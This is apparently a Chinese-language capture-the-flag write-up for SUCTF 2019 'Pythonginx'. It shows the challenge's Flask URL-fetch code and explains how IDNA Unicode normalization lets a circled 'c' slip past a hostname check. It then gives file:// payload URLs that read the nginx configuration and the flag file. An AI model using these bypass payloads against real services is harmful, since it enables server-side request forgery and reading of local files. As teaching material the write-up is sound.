[SUCTF 2019]Pythonginx
[SUCTF 2019]Pythonginx
考点
Unicode安全性
Nginx配置文件
wp
给了源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"通过parse.urlparse解析传入的URL,并返回hostname。
然后使用urlsplit对URL分割为parts列表,再把parts中的hostname赋值给host,然后对host中的字母用inda编码再用utf-8解码,再用.重新拼接。
去掉parts中的空格后,再用parse.urlparse解析。
最后如果host是suctf.cc就发送请求,否则给出错误提示,这里就是一个矛盾,不能输入suctf.cc最后结果却是suctf.cc。
代码里面有个很奇怪的地方,host为什么要用idna编码,查一下就可以查到相关的资料,在blackhat有个议题Host/Split Exploitable Antipatterns in Unicode Normalization
写脚本爆破,找一个能表示c的Unicode字符
得到结果
传入参数 getUrl?url=http://suctf.c%e2%93%92/,成功访问
接着可以使用file协议读取文件 getUrl?url=file://suctf.c%e2%93%92/usr/local/nginx/conf/nginx.conf
得到结果
读取flag getUrl?url=file://suctf.c%e2%93%92/usr/fffffflag
小结
Nginx目录
最后更新于